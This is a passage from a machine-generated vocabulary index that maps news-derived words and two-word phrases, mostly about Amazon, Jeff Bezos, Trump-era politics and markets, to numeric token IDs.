"scale packages": 64880, "personal emails": 64881, "marketwatch personal": 64882, "thing devouring": 64883, "national competitions": 64884, "trump snagged": 64885, "nearby suburb": 64886, "cogniae": 64887, "today correspondent": 64888, "million jobs": 64889, "god cop": 64890, "annual delivering": 64891, "frequent regional": 64892, "abortion human": 64893, "technological prowess": 64894, "biding": 64895, "gains 2018": 64896, "turnaround": 64897, "mean getting": 64898, "streaming film": 64899, "times paloma": 64900, "orange balloon": 64901, "booking expensive": 64902, "political views": 64903, "jon campbell": 64904, "second novel": 64905, "dollar mark": 64906, "amira": 64907, "stock movements": 64908, "awaited spendingcompromise": 64909, "turned business": 64910, "helping save": 64911, "novelists": 64912, "production deal": 64913, "magazine careful": 64914, "sokolsky": 64915, "improving responsiveness": 64916, "inputs": 64917, "owns skype": 64918, "warehous amazon": 64919, "single parents": 64920, "york did": 64921, "increase toronto": 64922, "cosplay": 64923, "fair oscar": 64924, "including prominent": 64925, "new excessive": 64926, "cnn stock": 64927, "cortez opposition": 64928, "company tens": 64929, "unified": 64930, "painful": 64931, "opposition sue": 64932, "quartz explained": 64933, "cellphone": 64934, "man penis": 64935, "ryan 2005": 64936, "intelligence official": 64937, "facebook ads": 64938, "years working": 64939, "david cassell": 64940, "missing journalist": 64941, "warnings amazon": 64942, "online communicate": 64943, "runners": 64944, "nbc": 64945, "deals trump": 64946, "synagogue": 64947, "mainland police": 64948, "possible efforts": 64949, "postcode": 64950, "real privatization": 64951, "chernow hit": 64952, "involved icymi": 64953, "expenses liquid": 64954, "throughs": 64955, "completely wire": 64956, "biggest funder": 64957, "expansion provisions": 64958, "reserve board": 64959, "khairul woman": 64960, "practice isn": 64961, "matching pyjamas": 64962, "apparently hastily": 64963, "infinitum": 64964, "wrote forrester": 64965, "lennon wasn": 64966, "drop torel": 64967, "indispensable morning": 64968, "amc": 64969, "emergency mcconnell": 64970, "says wants": 64971, "driverless platooning": 64972, "president attacking": 64973, "mud amazon": 64974, "diaper bags": 64975, "networking website": 64976, "closed higher": 64977, "smith people": 64978, "follower gov": 64979, "footprints": 64980, "players globaldata": 64981, "companies apparel": 64982, "sacred sites": 64983, "katz cowley": 64984, "pricing affects": 64985, "sustained production": 64986, "candidacy fearful": 64987, "rider": 64988, "classmate killing": 64989, "dimming": 64990, "equipment": 64991, "currentvideoid var": 64992, "energy commitments": 64993, "blocked obama": 64994, "synergize": 64995, "dod cronyism": 64996, "fb servicenow": 64997, "pledged 400": 64998, "ongoing rumors": 64999, "correspondence number": 65000, "classic horatio": 65001, "selling goods": 65002, "music production": 65003, "3k people": 65004, "commodities purchases": 65005, "tech rich": 65006, "including house": 65007, "commonality": 65008, "reportedly obsessed": 65009, "ravi agrawal": 65010, "amazon home": 65011, "massively increase": 65012, "elise jordan": 65013, "marketplaces navarro": 65014, "using drugs": 65015, "right haverty": 65016, "time managed": 65017, "amazon restaurants": 65018, "regulation risk": 65019, "stock really": 65020, "sack satchel": 65021, "timers tutor": 65022, "candidates criticizing": 65023, "exploding commerce": 65024, "feet": 65025, "indicator": 65026, "central user": 65027, "post employees": 65028, "service caused": 65029, "dead far": 65030, "does return": 65031, "pratt profile": 65032, "cuts helped": 65033, "s9x u0": 65034, "13270229011": 65035, "candidate trump": 65036, "following recommendations": 65037, "rope tree": 65038, "commerce free": 65039, "nonprofit james": 65040, "fischer added": 65041, "company wsj": 65042, "bezos watch": 65043, "deported nearly": 65044, "allowing anti": 65045, "zoya teirstein": 65046, "creator robbie": 65047, "nationwide including": 65048, "places iq": 65049, "data suggests": 65050, "workers seized": 65051, "jong": 65052, "progressive new": 65053, "fence don": 65054, "war tweet": 65055, "jpmorgan amazon": 65056, "signup": 65057, "raise improved": 65058, "read gear": 65059, "actively pursuing": 65060, "china grows": 65061, "layover": 65062, "low key": 65063, "persistently fact": 65064, "plateau": 65065, "conversation prince": 65066, "financial inequality": 65067, "gain share": 65068, "heralded": 65069, "bezos suspected": 65070, "implicated president": 65071, "ends": 65072, "trump director": 65073, "service ultimately": 65074, "dealer dailycaller": 65075, "response russia": 65076, "leader market": 65077, "expose boyle": 65078, "leaving skeptics": 65079, "wildfires animal": 65080, "jbl headphones": 65081, "chess timers": 65082, "training session": 65083, "deemed necessary": 65084, "cited studies": 65085, "figures including": 65086, "technology conference": 65087, "stan beeman": 65088, "viverito says": 65089, "stoking demand": 65090, "tentative opening": 65091, "court decided": 65092, "composite plunged": 65093, "presstv": 65094, "did business": 65095, "daily tweeting": 65096, "rss update": 65097, "trump inspired": 65098, "retail including": 65099, "prime day": 65100, "believe walmart": 65101, "jason bourne": 65102, "thing president": 65103, "long comedy": 65104, "continuing resolution": 65105, "oppo branded": 65106, "pop day": 65107, "higher secondary": 65108, "v4e": 65109, "just lead": 65110, "nys senate": 65111, "rally george": 65112, "dreadful": 65113, "passed new": 65114, "sculpted": 65115, "freed sent": 65116, "uncle": 65117, "corporate city": 65118, "bundles": 65119, "past month": 65120, "tellingly michael": 65121, "months old": 65122, "trump fits": 65123, "amazon shows": 65124, "iphone given": 65125, "buy low": 65126, "manuel balce": 65127, "fallout": 65128, "assets 181004033404": 65129, "afraid terrible": 65130, "facebook dozens": 65131, "just": 65132, "2000s france": 65133, "eric heyer": 65134, "height 100": 65135, "massacre": 65136, "additionally notes": 65137, "donators": 65138, "financial companies": 65139, "congress voted": 65140, "computing cloud": 65141, "cbs cuts": 65142, "dunkin brand": 65143, "161 ken": 65144, "cyclical industries": 65145, "report worst": 65146, "formed groups": 65147, "tracy new": 65148, "counterfeit bluetooth": 65149, "watch program": 65150, "court watchers": 65151, "tickets vacation": 65152, "multiple times": 65153, "747s": 65154, "ensnared michael": 65155, "policy analysis": 65156, "inc_show_read_moreflag": 65157, "worth investing": 65158, "figure ignoring": 65159, "foxconn hasn": 65160, "using federal": 65161, "bit crazy": 65162, "ultimate exposure": 65163, "stiff": 65164, "policy foundation": 65165, "needs politico": 65166, "carl linnaeus": 65167, "worst fear": 65168, "random just": 65169, "male thought": 65170, "looked relatively": 65171, "session record": 65172, "immaculate dresser": 65173, "amazon washington": 65174, "ratings": 65175, "reasons including": 65176, "badly amazon": 65177, "product marketed": 65178, "wages": 65179, "ruler crown": 65180, "brand strategy": 65181, "sexy time": 65182, "becker considered": 65183, "including consumer": 65184, "homrich berg": 65185, "hoax resulted": 65186, "gandel train": 65187, "suggest": 65188, "getting bigger": 65189, "author ron": 65190, "talese": 65191, "image getty_173218731_200015422000928060": 65192, "banners": 65193, "jason chaffetz": 65194, "visible politicians": 65195, "doing lot": 65196, "incorporated california": 65197, "air air": 65198, "cloud chump": 65199, "russian intelligence": 65200, "decade saving": 65201, "website axios": 65202, "report card": 65203, "realme amazon": 65204, "premium content": 65205, "cruciferous healing": 65206, "author helon": 65207, "sexual text": 65208, "ami amazon": 65209, "government reform": 65210, "really happened": 65211, "larger interview": 65212, "james quincy": 65213, "democrat introduced": 65214, "carbon reservoirs": 65215, "latest generation": 65216, "clarkston": 65217, "primary cause": 65218, "wash took": 65219, "foreign correspondent": 65220, "primary lead": 65221, "barons bribing": 65222, "eley": 65223, "attributions": 65224, "food restaurant": 65225, "emerson bezos": 65226, "netflix new": 65227, "barangay": 65228, "series used": 65229, "alex kimani": 65230, "robot lawn": 65231, "hectored": 65232, "chase": 65233, "asking stupid": 65234, "gaining ground": 65235, "happens": 65236, "weregoing": 65237, "fundamentally wrong": 65238, "means washington": 65239, "herrera beutler": 65240, "don attract": 65241, "iron fist": 65242, "illustration woman": 65243, "payments service": 65244, "canceling residents": 65245, "visible company": 65246, "winner andr\u00e9": 65247, "epa administrator": 65248, "rourke ap": 65249, "using television": 65250, "rising nationalism": 65251, "forcing sites": 65252, "alexandia ocasio": 65253, "avoid european": 65254, "android operating": 65255, "including nearby": 65256, "company appointed": 65257, "symb amzn": 65258, "campaign arm": 65259, "million annually": 65260, "sarah sanders": 65261, "successful fba": 65262, "rivals urged": 65263, "trumpmoments411 status": 65264, "gather information": 65265, "dodge moser": 65266, "try weed": 65267, "ruling01": 65268, "corporate strategy": 65269, "dow skid": 65270, "media spokesman": 65271, "signing major": 65272, "andover massachusetts": 65273, "capital raises": 65274, "hannibal": 65275, "laura boedeker": 65276, "tracee ellis": 65277, "tuck": 65278, "currently performing": 65279, "month lows": 65280, "offerings higher": 65281, "adjusted annual": 65282, "productivity costs": 65283, "consumers order": 65284, "denver": 65285, "snapshot": 65286, "tablet": 65287, "leading fundraiser": 65288, "allow unfettered": 65289, "pursuits": 65290, "announced contained": 65291, "credible warning": 65292, "isn apparent": 65293, "income limits": 65294, "david blight": 65295, "5067014667001 default_default": 65296, "early amazon": 65297, "deepwater": 65298, "roughly 880": 65299, "denied oracle": 65300, "carberry chief": 65301, "term investments": 65302, "usnews": 65303, "stifling free": 65304, "estimated trillion": 65305, "environmental agencies": 65306, "jobs wages": 65307, "twitter broadsides": 65308, "administration departures": 65309, "donnie": 65310, "krauthammer tribute": 65311, "cameras smart": 65312, "meyersohn": 65313, "ruiz miyares": 65314, "tight rein": 65315, "senior leaders": 65316, "time hope": 65317, "bezos carrying": 65318, "cybersecurity nearly": 65319, "laws including": 65320, "crocodile": 65321, "mt tech": 65322, "trade parade": 65323, "delivery shows": 65324, "foes": 65325, "prevent forest": 65326, "sectors chestnut": 65327, "public views": 65328, "memphis logistics": 65329, "price image": 65330, "fighting prevailing": 65331, "real action": 65332, "walmart criticized": 65333, "street strategist": 65334, "starting today": 65335, "difficult situation": 65336, "snead": 65337, "somewhat sleazy": 65338, "crandall": 65339, "prospectors developers": 65340, "executive management": 65341, "governor newsom": 65342, "people obviously": 65343, "moment evidence": 65344, "role similar": 65345, "presence data": 65346, "cross hairs": 65347, "company acts": 65348, "flaunting": 65349, "field progress": 65350, "2015 great": 65351, "mortgage charitable": 65352, "divorced earlier": 65353, "don misunderstand": 65354, "george mccabe": 65355, "party writes": 65356, "drafting legislation": 65357, "published sex": 65358, "amazon near": 65359, "passions choose": 65360, "outselling": 65361, "stunning account": 65362, "grueling hours": 65363, "ticker tape": 65364, "easing geopolitical": 65365, "light shares": 65366, "revenge tweet": 65367, "entertainment lawyer": 65368, "funded venture": 65369, "episodes feature": 65370, "based employees": 65371, "amzn new": 65372, "notable addition": 65373, "mena massoud": 65374, "colbert interviewed": 65375, "clifford says": 65376, "amazon past": 65377, "weapons base": 65378, "chris plante": 65379, "logistics experience": 65380, "did rise": 65381, "area near": 65382, "novelty socks": 65383, "yummy": 65384, "legislation called": 65385, "sec creative": 65386, "donut": 65387, "biggest businesses": 65388, "2009 trump": 65389, "pittsburgh 2018": 65390, "lab": 65391, "information assortment": 65392, "american films": 65393, "godfather apos": 65394, "everyday men": 65395, "nevertrump buddies": 65396, "politics avoiding": 65397, "significant expansion": 65398, "dodges taxes": 65399, "best airport": 65400, "democratic gov": 65401, "gold los": 65402, "really parallels": 65403, "dysfunctional trump": 65404, "fund private": 65405, "mmv law": 65406, "salready": 65407, "australian prime": 65408, "china trademark": 65409, "boeing rexnord": 65410, "kids wearing": 65411, "santti13": 65412, "cto kimber": 65413, "need explained": 65414, "mulroney reunite": 65415, "rodeo says": 65416, "technologies harmful": 65417, "region looks": 65418, "sleeve dress": 65419, "address consumer": 65420, "oppose": 65421, "manuel roig": 65422, "marks time": 65423, "republicans sitting": 65424, "seditious": 65425, "amazon agreement": 65426, "seconds afghanistan": 65427, "seeks applications": 65428, "tv shows": 65429, "reuters new": 65430, "personalize": 65431, "americans prioritize": 65432, "laws need": 65433, "dc chamber": 65434, "management ceo": 65435, "taxed newsweek": 65436, "expenses amazon": 65437, "giant cisco": 65438, "asks williams": 65439, "loopholes prior": 65440, "business tech": 65441, "possible income": 65442, "income unless": 65443, "ressa philippine": 65444, "ran thorough": 65445, "design new": 65446, "read justin": 65447, "tiptoe": 65448, "laborers": 65449, "bezos deservedly": 65450, "history including": 65451, "defensive driving": 65452, "quite strong": 65453, "caravan crisis": 65454, "terrorist plot": 65455, "pecker recently": 65456, "schaeffer senior": 65457, "state relation": 65458, "estate developers": 65459, "cohen testifies": 65460, "weekly calls": 65461, "sadistic abuse": 65462, "impeachobama obamagate": 65463, "bezos lead": 65464, "state media": 65465, "mistakenly chose": 65466, "legal counsel": 65467, "bombing targets": 65468, "second email": 65469, "farcical commercial": 65470, "gnostic": 65471, "institute rebecca": 65472, "animal languages": 65473, "carrie mathison": 65474, "cincinnati": 65475, "delivery challenges": 65476, "amazon coinciding": 65477, "manager survey": 65478, "currently underutilized": 65479, "steamy texts": 65480, "showname": 65481, "guardians hale": 65482, "live inside": 65483, "google father": 65484, "good book": 65485, "mortal danger": 65486, "headlines bs_bullet_primary": 65487, "commercial break": 65488, "souvenirs": 65489, "commercial bank": 65490, "royal wedding": 65491, "antitrust inv": 65492, "briefing newsletter": 65493, "better lawyer": 65494, "referenda": 65495, "legislative clarity": 65496, "function f4": 65497, "growing usps": 65498, "racist sandwich": 65499, "forthe": 65500, "cannes film": 65501, "rival consoles": 65502, "public schools": 65503, "probes alleged": 65504, "rep suzan": 65505, "highest union": 65506, "text": 65507, "violated apple": 65508, "match walmart": 65509, "fink jim": 65510, "pritchard taught": 65511, "private intelligence": 65512, "department warns": 65513, "trump needs": 65514, "dannyzuker verbally": 65515, "deal possible": 65516, "fighting housing": 65517, "faced split": 65518, "vulnerability michelle": 65519, "clinton campaign": 65520, "instead senator": 65521, "rate herera": 65522, "cheater": 65523, "tributes": 65524, "control coverage": 65525, "google ai": 65526, "src r4ee": 65527, "patriarchy": 65528, "services mnuchin": 65529, "analyst mark": 65530, "melancholy spy": 65531, "ilsr calculation": 65532, "anticipating quick": 65533, "cnn photographer": 65534, "certificates issued": 65535, "foggy": 65536, "provided amazon": 65537, "yanagihara": 65538, "mailers telling": 65539, "area overall": 65540, "mud says": 65541, "retail initiatives": 65542, "walmart stated": 65543, "subsidize amazon": 65544, "topsellers\u0430list": 65545, "faces slowing": 65546, "375 000": 65547, "opioids coupled": 65548, "sell button": 65549, "audits": 65550, "pentagon spokesperson": 65551, "anonymous washington": 65552, "obligations says": 65553, "levy": 65554, "ari melber": 65555, "investments kevin": 65556, "prime loyalty": 65557, "democrats officially": 65558, "pause lic": 65559, "hq2 incentives": 65560, "member met": 65561, "different channels": 65562, "critics improperly": 65563, "market consider": 65564, "wechat": 65565, "process issupposed": 65566, "season heights": 65567, "maneuver similar": 65568, "column provides": 65569, "numerous fronts": 65570, "selected oz": 65571, "exemptions losses": 65572, "men accused": 65573, "upholding freedom": 65574, "recommended": 65575, "stock schaeffer": 65576, "2034": 65577, "jokingly": 65578, "building barrier": 65579, "notes person": 65580, "law later": 65581, "ballot gee": 65582, "looser markets": 65583, "validate": 65584, "homes millennials": 65585, "slid 653": 65586, "shirts tan": 65587, "extensively asked": 65588, "conservatives allege": 65589, "fertility": 65590, "congress needs": 65591, "follow ryan_mcqueeney": 65592, "length videopinner": 65593, "wire reports": 65594, "revenues bigger": 65595, "school shopping": 65596, "glue mailbox": 65597, "desoto": 65598, "lab miami": 65599, "2f19": 65600, "mallard": 65601, "scale cannabinoid": 65602, "term presidential": 65603, "stirring": 65604, "content tag": 65605, "migrants protecting": 65606, "commission regulation": 65607, "nba basketball": 65608, "stockings office": 65609, "chan source": 65610, "organized campaign": 65611, "crooks": 65612, "taliban representatives": 65613, "drugs sure": 65614, "news jailed": 65615, "state banquet": 65616, "annabelle liang": 65617, "trulyextraordinary": 65618, "reports tonight": 65619, "vincent vinnie": 65620, "399 million": 65621, "sustainability fears": 65622, "stabilizing": 65623, "queens kim": 65624, "prominent reporters": 65625, "preston": 65626, "stop offering": 65627, "teachers unions": 65628, "tall residential": 65629, "stopping amazon": 65630, "temporary adviser": 65631, "suing lampert": 65632, "build manhattan": 65633, "process important": 65634, "release cited": 65635, "active twitter": 65636, "twitter results": 65637, "richest companies": 65638, "technology huseman": 65639, "amazon reorganizes": 65640, "proven leadership": 65641, "sinclair": 65642, "turnouts": 65643, "mingle share": 65644, "grows workers": 65645, "collected nonfiction": 65646, "consider": 65647, "canvassing": 65648, "start saving": 65649, "pay workers": 65650, "time relieved": 65651, "systrom": 65652, "main character": 65653, "contract awarded": 65654, "reward favored": 65655, "fbi investigation": 65656, "shipments makes": 65657, "offered services": 65658, "president inauguration": 65659, "contestant": 65660, "delay scheduled": 65661, "amazon overweight": 65662, "visible debate": 65663, "henssler": 65664, "climate accord": 65665, "pecker approached": 65666, "partial relocation": 65667, "190 000": 65668, "aim\u00e9 holds": 65669, "informational power": 65670, "delis": 65671, "washingtonpost amazon": 65672, "displayed": 65673, "behemoth retailer": 65674, "perk": 65675, "make donald": 65676, "washington donors": 65677, "services click": 65678, "campaign national": 65679, "people finances": 65680, "distinguish knockoffs": 65681, "intensively": 65682, "environmental enforcement": 65683, "additionally fought": 65684, "unspecified": 65685, "trump hints": 65686, "marx": 65687, "boe president": 65688, "yangtze": 65689, "kirincic": 65690, "jesuit priest": 65691, "treasury head": 65692, "add": 65693, "professional networking": 65694, "farming products": 65695, "response google": 65696, "vel\u00e1zquez state": 65697, "unnamed ip": 65698, "feeding onitself": 65699, "priced better": 65700, "business real_estate": 65701, "shoppers liable": 65702, "allocation methodology": 65703, "kingdom based": 65704, "luxembourg total": 65705, "clary sage": 65706, "amazon unveils": 65707, "shelby": 65708, "told investigators": 65709, "accused sanchez": 65710, "thosequestions": 65711, "using ovens": 65712, "stripe": 65713, "older posts": 65714, "house hollywood": 65715, "humidity fewer": 65716, "favorite interviews": 65717, "work mayor": 65718, "publically rebukes": 65719, "receiving compensation": 65720, "practical ai": 65721, "gay bisexual": 65722, "ago research": 65723, "decade republicans": 65724, "internet access": 65725, "arabia iran": 65726, "million headwind": 65727, "deployed": 65728, "wars story": 65729, "propose guidelines": 65730, "cost calculation": 65731, "bezos likes": 65732, "military times": 65733, "bring oath": 65734, "google kat": 65735, "preferred hillary": 65736, "received dressed": 65737, "whoosh happen": 65738, "simple minded": 65739, "lary": 65740, "york congressman": 65741, "amazon starbucks": 65742, "memorial": 65743, "predations don": 65744, "trump case": 65745, "punchlines": 65746, "politico staff": 65747, "wall early": 65748, "new hotels": 65749, "popsicles": 65750, "equally alluring": 65751, "president carrell": 65752, "wereoutplayed": 65753, "infantile grudge": 65754, "needle trump": 65755, "locks": 65756, "program management": 65757, "tsx composite": 65758, "zuckerberg basically": 65759, "negative uses": 65760, "hedged equit": 65761, "leguizamo latin": 65762, "year goading": 65763, "blood pressure": 65764, "singer avril": 65765, "perceived bias": 65766, "eventually chose": 65767, "picked new": 65768, "irony given": 65769, "chair kevin": 65770, "mad money": 65771, "man attendees": 65772, "founder amasses": 65773, "flexibility": 65774, "new page": 65775, "goodwill": 65776, "fulfillment center": 65777, "conveys": 65778, "bjarke": 65779, "northeast investment": 65780, "security consultancy": 65781, "emergency worthy": 65782, "false time_updated": 65783, "young mystery": 65784, "implicating trump": 65785, "certainly worries": 65786, "integrating amazon": 65787, "pay 12b": 65788, "amazon packages": 65789, "kota": 65790, "bundle": 65791, "cnn frequent": 65792, "rockaway blvd": 65793, "unattractive prospect": 65794, "step isn": 65795, "john wagner": 65796, "military vets": 65797, "tracy home": 65798, "voluntarily explain": 65799, "reauth rep": 65800, "raising fresh": 65801, "suggested breaking": 65802, "cultures races": 65803, "vote requirement": 65804, "jocum": 65805, "productions": 65806, "ry": 65807, "isabel": 65808, "simply lashing": 65809, "tm technology": 65810, "readers choice": 65811, "date basis": 65812, "furniture experts": 65813, "room power": 65814, "book series": 65815, "owns number": 65816, "business acumen": 65817, "century think": 65818, "flat line": 65819, "suit pic": 65820, "faced backlash": 65821, "pigeons": 65822, "griffeth head": 65823, "tax dollars": 65824, "tabloid earlier": 65825, "assistance program": 65826, "federal motor": 65827, "microsoft releases": 65828, "big believer": 65829, "great managers": 65830, "congratulate russian": 65831, "holiness outlines": 65832, "m570 l1313": 65833, "gymnastics culture": 65834, "company received": 65835, "economics professor": 65836, "annual person": 65837, "officially declared": 65838, "anti migraine": 65839, "mission able": 65840, "envoys": 65841, "coped": 65842, "latest login_standalone": 65843, "reuters nasdaq": 65844, "cost increases": 65845, "tariff increase": 65846, "underage": 65847, "prosecutors say": 65848, "republican donald": 65849, "including barcode": 65850, "attack created": 65851, "doing thank": 65852, "products regional": 65853, "record amazon": 65854, "trump supports": 65855, "glen": 65856, "celebrate failure": 65857, "exhibitor": 65858, "stock falls": 65859, "criticism house": 65860, "provisional tax": 65861, "mayor appoints": 65862, "banners reading": 65863, "11th hour": 65864, "sandler wrote": 65865, "marin ireland": 65866, "cam": 65867, "amazon cuddly": 65868, "venezuela maduro": 65869, "event coverage": 65870, "reported revenues": 65871, "latest candidates": 65872, "threaten bezos": 65873, "email ceo": 65874, "subsequent issues": 65875, "soy demand": 65876, "michelin restaurants": 65877, "main beef": 65878, "pollution amazon": 65879, "annual list": 65880, "ideas damaging": 65881, "pitcher sonny": 65882, "julia boorstin": 65883, "currently apple": 65884, "dispatched sen": 65885, "story reporting": 65886, "containing sucrose": 65887, "reported rep": 65888, "rodman reveals": 65889, "zdnet article": 65890, "davos summit": 65891, "left uber": 65892, "company advised": 65893, "scarcely better": 65894, "liberal bias": 65895, "fleeced offering": 65896, "remains blocked": 65897, "consumer groups": 65898, "trump condemned": 65899, "american stories": 65900, "teases": 65901, "political goals": 65902, "mikepence": 65903, "cities geekwire": 65904, "taken major": 65905, "merely shameful": 65906, "benioff": 65907, "5m": 65908, "times earnings": 65909, "trump shrugged": 65910, "says relationship": 65911, "3_5 ad": 65912, "gazette email": 65913, "amazon tutelage": 65914, "longest streak": 65915, "void s8i": 65916, "involves": 65917, "software engineers": 65918, "200 point": 65919, "tech venture": 65920, "adds products": 65921, "inured": 65922, "future created": 65923, "pretzelcharts": 65924, "gains stop": 65925, "chungah": 65926, "divorce story": 65927, "dangerous ideology": 65928, "brewing war": 65929, "promotable content": 65930, "charger": 65931, "priya": 65932, "nyt alex": 65933, "including prohibitions": 65934, "executives buffett": 65935, "ireland sweden": 65936, "launches vegan": 65937, "stripping allegedly": 65938, "flame war": 65939, "emily": 65940, "roundtable quarterly": 65941, "distinct": 65942, "ethics rules": 65943, "worth 9bn": 65944, "posted link": 65945, "worldwide attention": 65946, "finds banks": 65947, "adjusted": 65948, "publisher allegedly": 65949, "2008 economic": 65950, "jeremy stoppelman": 65951, "stated qualified": 65952, "catastrophic climate": 65953, "liberally": 65954, "wrote noting": 65955, "evidence jesse": 65956, "nationwide tour": 65957, "covington": 65958, "controversial immigration": 65959, "consumer ceo": 65960, "way encourage": 65961, "attributes slower": 65962, "report tells": 65963, "females named": 65964, "wineries": 65965, "young addition": 65966, "ausick": 65967, "cities counties": 65968, "administration enemies": 65969, "trump preparing": 65970, "usps raise": 65971, "exactly set": 65972, "professor scott": 65973, "2013 benedict": 65974, "climate trumps": 65975, "gewirtz liz": 65976, "ogborn": 65977, "share bonus": 65978, "chained": 65979, "gerry smith": 65980, "story ibm": 65981, "cortez added": 65982, "shames washington": 65983, "effort trump": 65984, "beloved teams": 65985, "threshold needed": 65986, "sarno": 65987, "twitter miguelottaviano": 65988, "sonin law": 65989, "old mackenzie": 65990, "whimsical recurrence": 65991, "week shows": 65992, "parenting agency": 65993, "mob": 65994, "nicaraguan student": 65995, "bestrode": 65996, "bro": 65997, "aa aa": 65998, "ranjneeshis": 65999, "2017 post": 66000, "stricter regulations": 66001, "doesn look": 66002, "larger question": 66003, "ocala concerning": 66004, "nodding brilliantly": 66005, "amazon repeatedly": 66006, "urges australia": 66007, "services union": 66008, "mobility": 66009, "ideological feud": 66010, "microsoft pledges": 66011, "vancouver film": 66012, "sharaab sabzi": 66013, "trump lead": 66014, "troubled agency": 66015, "lobbyist weapon": 66016, "told hundreds": 66017, "3p sellers": 66018, "writing given": 66019, "amazon thanks": 66020, "functional": 66021, "jonathan welcome": 66022, "privacy counsel": 66023, "skepticism questioning": 66024, "true david": 66025, "girlfriend kimberly": 66026, "harsher action": 66027, "hasn hurt": 66028, "results doubts": 66029, "596 160": 66030, "virginia reputation": 66031, "kushner brushed": 66032, "seated": 66033, "austin bush": 66034, "necessarily reflect": 66035, "unfavourable": 66036, "watch beloved": 66037, "amazon deliveries": 66038, "root bad": 66039, "london": 66040, "sofie": 66041, "video ismobilebannertext": 66042, "advice sevice": 66043, "officials leading": 66044, "demonize members": 66045, "dems establishment": 66046, "kindred": 66047, "salem": 66048, "facebook twitter": 66049, "brought bezos": 66050, "defenders": 66051, "market tumbles": 66052, "elaborate costume": 66053, "republican written": 66054, "jr jack": 66055, "thing sanders": 66056, "whitehead chose": 66057, "bowes pbi": 66058, "adversely": 66059, "people spent": 66060, "jpgbut": 66061, "network fake": 66062, "fungi": 66063, "military dunford": 66064, "york london": 66065, "ap noted": 66066, "target matches": 66067, "international services": 66068, "extramarital relationship": 66069, "assistance represented": 66070, "beast recently": 66071, "founded maxsa": 66072, "schapperts say": 66073, "richest bloke": 66074, "irs forms": 66075, "snack food": 66076, "advertised": 66077, "mistreats employees": 66078, "field goal": 66079, "listens chip": 66080, "alive advised": 66081, "intern chadra": 66082, "brandus": 66083, "jeffrey toobin": 66084, "foreign dictators": 66085, "acted illegally": 66086, "meddling read": 66087, "2018 best": 66088, "information phase": 66089, "pack called": 66090, "raise credit": 66091, "campaign slogan": 66092, "killing kennedy": 66093, "schedules workers": 66094, "frequency type": 66095, "hero billionaire": 66096, "highlights amazon": 66097, "scope": 66098, "oracle amazon": 66099, "cavs curry": 66100, "book titled": 66101, "week cook": 66102, "true isn": 66103, "highlighted bezos": 66104, "bezos accused": 66105, "term things": 66106, "convenes": 66107, "snl line": 66108, "alley described": 66109, "publicly declare": 66110, "possible relationship": 66111, "chant": 66112, "coincidence lauren": 66113, "distracting": 66114, "help elect": 66115, "severe recession": 66116, "managerial decision": 66117, "industrials rose": 66118, "jamaican mexican": 66119, "start bringing": 66120, "following current": 66121, "outright decline": 66122, "twitter don": 66123, "oil sector": 66124, "mortgage sold": 66125, "new age": 66126, "compensation law": 66127, "standard guidelines": 66128, "tweeted jan": 66129, "exclusive given": 66130, "paterson": 66131, "managing member": 66132, "taxing companies": 66133, "wild boar": 66134, "bivalves": 66135, "microsoft deepen": 66136, "council oversight": 66137, "tweets bezos": 66138, "hathaway nyse": 66139, "elderly 2018": 66140, "similar circumstances": 66141, "having single": 66142, "projects overseas": 66143, "weak unemployment": 66144, "keen": 66145, "homeless native": 66146, "amazon lockers": 66147, "arctic temperatures": 66148, "state expects": 66149, "launched new": 66150, "totaling 413": 66151, "tax minimisation": 66152, "deforestation occurring": 66153, "d1a s4a": 66154, "charge higher": 66155, "abduction": 66156, "weapons greenwald": 66157, "content budget": 66158, "tvs": 66159, "immigrants social": 66160, "coined": 66161, "say fake": 66162, "consumers interests": 66163, "governor brainard": 66164, "warehouses currently": 66165, "wiring required": 66166, "appreciation universe": 66167, "clumsy": 66168, "old sketch": 66169, "political agent": 66170, "worry 2018": 66171, "pay billion": 66172, "dining reviews": 66173, "officials past": 66174, "college high": 66175, "shoppers flocked": 66176, "add 100": 66177, "shift public": 66178, "bloomberg notes": 66179, "brenyah mariner": 66180, "makes fun": 66181, "margins analysts": 66182, "desk schumer": 66183, "jacobs reported": 66184, "sen mitch": 66185, "naturalcures news": 66186, "michael wolff": 66187, "does highlight": 66188, "ads revealed": 66189, "party marketplace": 66190, "staff sanders": 66191, "grace moretz": 66192, "500 people": 66193, "ensure continued": 66194, "viva la": 66195, "allegedly wrote": 66196, "popular trail": 66197, "volume items": 66198, "party development": 66199, "amazon ditches": 66200, "amazon chief": 66201, "openly investigating": 66202, "moral focus": 66203, "resistant": 66204, "company plays": 66205, "nonprofit tax": 66206, "real jackie": 66207, "new entrepreneurial": 66208, "happens obviously": 66209, "cnn bloomberg": 66210, "facebook apparently": 66211, "restaurant hollywood": 66212, "indomitable": 66213, "humanity puts": 66214, "structurally separate": 66215, "axios": 66216, "cfo highlighted": 66217, "markets adding": 66218, "coming soon": 66219, "tl adam": 66220, "new world": 66221, "idiocracy hedge": 66222, "morning tech": 66223, "users illegally": 66224, "custom shirts": 66225, "rent used": 66226, "campaign foreign": 66227, "potentially regulate": 66228, "half monthly": 66229, "t5 wa": 66230, "expect amzn": 66231, "ricky": 66232, "whining republicans": 66233, "group asking": 66234, "dealmaking tactics": 66235, "y19g327dpi": 66236, "sink": 66237, "article showlogo": 66238, "european consensus": 66239, "product competitor": 66240, "shopper": 66241, "spread treasury": 66242, "paul limburg": 66243, "predecessor": 66244, "best novelists": 66245, "committee cummings": 66246, "gop long": 66247, "monetary": 66248, "takeoff": 66249, "cia concern": 66250, "hand recounted": 66251, "militarisation": 66252, "corp alphabet": 66253, "cities decisions": 66254, "discussed pardoning": 66255, "recently leaked": 66256, "brings scientists": 66257, "prove boon": 66258, "clarence thomas": 66259, "sbux building": 66260, "disgrace sanders": 66261, "employees federal": 66262, "took turns": 66263, "delivery centers": 66264, "stancy correll": 66265, "alias": 66266, "carlos alberto": 66267, "purposes beating": 66268, "mockery": 66269, "rear adm": 66270, "eclipsing": 66271, "adamantly desires": 66272, "ground service": 66273, "loyal supporters": 66274, "amazon listened": 66275, "airport hangar": 66276, "king seeds": 66277, "company q3": 66278, "faced sharp": 66279, "becker proceeded": 66280, "following shootings": 66281, "seattle times": 66282, "detroit metropolitan": 66283, "dream honeymoon": 66284, "historical news": 66285, "tolerant": 66286, "strained relationship": 66287, "campaign focusing": 66288, "pummeled": 66289, "truly puts": 66290, "eagerly engaged": 66291, "available following": 66292, "black tubes": 66293, "david levitan": 66294, "silverman tells": 66295, "late 1990s": 66296, "cooperating": 66297, "chapo prosecution": 66298, "split saying": 66299, "pointed questions": 66300, "housed educated": 66301, "000 teens": 66302, "cruel ways": 66303, "policy senator": 66304, "antonio added": 66305, "investor support": 